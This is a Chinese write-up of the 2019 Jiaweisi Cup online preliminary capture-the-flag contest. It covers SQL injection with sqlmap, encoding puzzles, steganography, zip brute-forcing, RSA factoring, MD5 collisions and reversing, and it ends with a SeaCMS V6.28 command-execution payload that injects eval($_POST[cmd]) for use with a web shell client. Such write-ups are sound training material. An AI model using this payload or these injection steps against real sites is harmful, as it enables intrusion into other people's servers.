天天看點

2019嘉韋思杯線上初賽writeup

1 土肥原賢二

看到頁面懷疑是sql注入,寫了個4'進去就發生報錯。

could not to the database You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''4''' at line 1

直接丢到sqlmap裡

id,flag

20_welcome_19,20_welcome_19

1,1

進而得到flag

2 吳佩孚

先是有點蒙,試了下base64,發現得到(![]+[])[+[]]+(![]+[])[!+[],看起來是jsfuck,丢到浏覽器console中得到flag

3 死亡真相

wav音屏檔案,用audacity打開,先是頻譜圖,發現有先是flag:。。。。,後面的字元串是32位,但是其中有三個下劃線,猜測是挖掉了三個數字的md5,于是取中間16位,形成16位的md5,這樣子就隻含有兩個下劃線,16*16=256中可能。在網上線上批量解密,發現兩個下劃線都替換成0的時候就可以解開,用flag{}包裝下送出

4 日軍空襲

不停地base64解碼,最後得到flag{fB__l621a4h4g_ai%7B%26i%7D},url解碼得fB__l621a4h4g_ai{&i},然後解移位密碼,位移為4,得flag

6 戴星炳

用python,獲得網頁,正則提取然後eval算出來,再請求,獲得falg

import requests

import re

r = requests.get('http://47.103.43.235:82/web/a/index.php')

a = re.findall(r'<p>(0x.*)</p>',r.text)[0]

a = eval(a)

print(a)

rr = requests.post('http://47.103.43.235:82/web/a/index.php',data={'result':str(a)})

print(rr.text)

7 大美晚報

二維碼,下載下傳下來,顯示用binwalk發現裡面有壓縮包,用foremost得到裡面的壓縮包,記事本打開發現有句話說密碼是qq号,是以用zipperello窮舉數字8-10位組合,得到密碼674290437,解壓zip得到falg

8 潘漢年

bg[`sZ*Zg'dPfP`VM_SXVd

觀察前面五個字元和flag{這五個字元ascii碼的差,發現這個差是遞增的,根據這個規律就可以解密啦

s = "bg[`sZ*Zg'dPfP`VM_SXVd"

r = ''

for i in range(len(s)):

    r = r+chr(ord(s[i])+4+i)

print(r)

9 袁殊

rsa加密,根據public key ,用openssl獲得n和e,由于n不大,在http://factordb.com/分解得到pq,然後就可以直接解密啦

n16 = 'A9BD4C7A7763370A042FE6BEC7DDC841602DB942C7A362D1B5D372A4D08912D9'

p = 273821108020968288372911424519201044333

q = 280385007186315115828483000867559983517

#273821108020968288372911424519201044333<39> · 280385007186315115828483000867559983517<39>

n = int(n16,16)

e = 65537

import gmpy2

import rsa

d = int(gmpy2.invert(e , (p-1) * (q-1)))

privatekey = rsa.PrivateKey(n , e , d , p , q)      #根據已知參數,計算私鑰

with open("fllllllag.txt" , "rb") as f:

    print(rsa.decrypt(f.read(), privatekey).decode())       #使用私鑰對密文進行解密,并列印

11 晴氣慶胤

根據html中的提示,是要輸入兩個不同的字元串但是有相同md5

使用fastcoll生成兩個具有相同md5的檔案,再利用python post過去就可以獲得falg了

import requests

url = 'http://47.103.43.235:85/a/'

with open('msg1.bin','rb') as f:

    data1 = f.read()

with open('msg2.bin','rb') as f:

    data2 = f.read()

d = {'param1':data1,'param2':data2}

r = requests.post(url,data = d)

print(r.text)

12 梅津美治郎

逆向

有兩個密碼,windbg動态調試即可,給scanf下斷點

第一層的密碼在調用strcmp的地方直接就可以找到

第二層的密碼是顯示記憶體中有一個字元串,将這個字元串的每個字元和2進行異或得到的就是第二層密碼

14 作戰計劃

seacms,利用海洋CMS V6.28 指令執行 0DAY,直接菜刀/search.php?searchtype=5&tid=&area=eval($_POST[cmd])就可以看到有個flag檔案,打開就是flag